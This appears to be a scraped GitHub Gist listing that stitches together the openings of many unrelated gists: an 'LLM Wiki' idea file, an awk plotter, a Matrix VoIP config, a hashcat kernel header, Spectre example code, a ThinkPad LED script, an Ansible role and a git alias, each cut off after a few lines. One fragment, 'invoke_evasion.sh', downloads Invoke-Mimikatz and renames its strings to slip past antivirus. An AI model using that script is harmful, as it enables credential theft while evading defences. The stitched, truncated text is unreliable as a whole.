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LLM Wiki

A pattern for building personal knowledge bases using LLMs.

This is an idea file, it is designed to be copy pasted to your own LLM Agent (e.g. OpenAI Codex, Claude Code, OpenCode / Pi, or etc.). Its goal is to communicate the high level idea, but your agent will build out the specifics in collaboration with you.

The core idea

Most people's experience with LLMs and documents looks like RAG: you upload a collection of files, the LLM retrieves relevant chunks at query time, and generates an answer. This works, but the LLM is rediscovering knowledge from scratch on every question. There's no accumulation. Ask a subtle question that requires synthesizing five documents, and the LLM has to find and piece together the relevant fragments every time. Nothing is built up. NotebookLM, ChatGPT file uploads, and most RAG systems work this way.

#!/usr/bin/awk -f
# This program is a copy of guff, a plot device. https://github.com/silentbicycle/guff
# My copy here is written in awk instead of C, has no compelling benefit.
# Public domain. @thingskatedid
# Run as awk -v x=xyz ... or env variables for stuff?
# Assumptions: the data is evenly spaced along the x-axis
# TODO: moving average
@maxidorius
maxidorius / matrix-howto-synapse_coturn.md
Last active August 21, 2025 18:38
Working config for VoIP in Matrix: synapse + coturn

This configuration is provided AS-IS and as an example/reference for those who do not find a working configuration for themselves. It is not always kept up to date and no support is provided.

Assuming:

  • Your Matrix domain: example.org
  • Your TURN domain (arbitrary): turn.example.org
  • Your Public IP: 1.2.3.4
  • Your Private IP for the box hosing the services: 10.11.12.13
  • A shared secret between synapse and coturn: ThisIsASharedSecret-ChangeMe
  • You want Firefox compatiblity (TURNS only is not supported)
@tbiehn
tbiehn / m01415_a0.cl
Last active August 24, 2019 01:50
HashCat unoptimized OpenCL kernel for sha256(sha256($pass).$salt) (XenForo SHA-256)
/**
* Author......: See docs/credits.txt
* License.....: MIT
* 1415 sha256(sha256($pass).$salt)
KERN_TYPE_SHA256_PW_SHA256_SLT
static const char *HT_01415 = "sha256(sha256($pass).$salt)";
DISPLAY_LEN_MIN_1411 = 64 + 1 + 0,
DISPLAY_LEN_MAX_1411 = 64 + 1 + SALT_MAX,
DISPLAY_LEN_MIN_1411H = 64 + 1 + 0,
DISPLAY_LEN_MAX_1411H = 64 + 1 + (SALT_MAX * 2),
@ErikAugust
ErikAugust / spectre.c
Last active June 25, 2026 11:49
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
@PaulSec
PaulSec / invoke_evasion.sh
Created August 1, 2017 13:50
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From: https://www.blackhillsinfosec.com/?p=5555
# Server side:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
@c5e3
c5e3 / thinkmorse.sh
Last active September 25, 2026 09:52
#!/bin/bash
modprobe -r ec_sys
modprobe ec_sys write_support=1
on="\x8a"
off="\x0a"
led(){
echo -n -e $1 | dd of="/sys/kernel/debug/ec/ec0/io" bs=1 seek=12 count=1 conv=notrunc 2> /dev/null
@JeanFred
JeanFred / carbon.yml
Last active January 4, 2018 23:02
Ansible role provisioning Graphite (sitting behind Nginx)
---
- name: Carbon config files
template:
src: '{{ item }}'
dest: '{{graphite_venv_path}}/conf/{{ item }}'
validate: "python -c \"import ConfigParser; config = ConfigParser.RawConfigParser(); config.read('%s')\""
with_items:
- carbon.conf
- storage-schemas.conf
- storage-aggregation.conf
##
# Creates an alias called "git hist" that outputs a nicely formatted git log.
# Usage is just like "git log"
# Examples:
# git hist
# git hist -5
# git hist <branch_name>
# git hist <tag_name> -10
##
git config --global alias.hist "log --pretty=format:'%C(yellow)[%ad]%C(reset) %C(green)[%h]%C(reset) | %C(red)%s %C(bold red){{%an}}%C(reset) %C(blue)%d%C(reset)' --graph --date=short"